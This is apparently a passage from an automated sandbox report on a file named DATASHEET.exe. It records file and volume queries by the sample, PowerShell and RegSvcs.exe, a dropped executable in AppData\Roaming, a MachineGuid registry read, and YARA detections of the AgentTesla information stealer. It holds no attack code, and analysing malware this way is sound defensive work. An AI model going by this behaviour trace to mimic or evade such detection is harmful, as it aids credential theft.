Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Queries volume information: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\DATASHEET.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1805867621.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
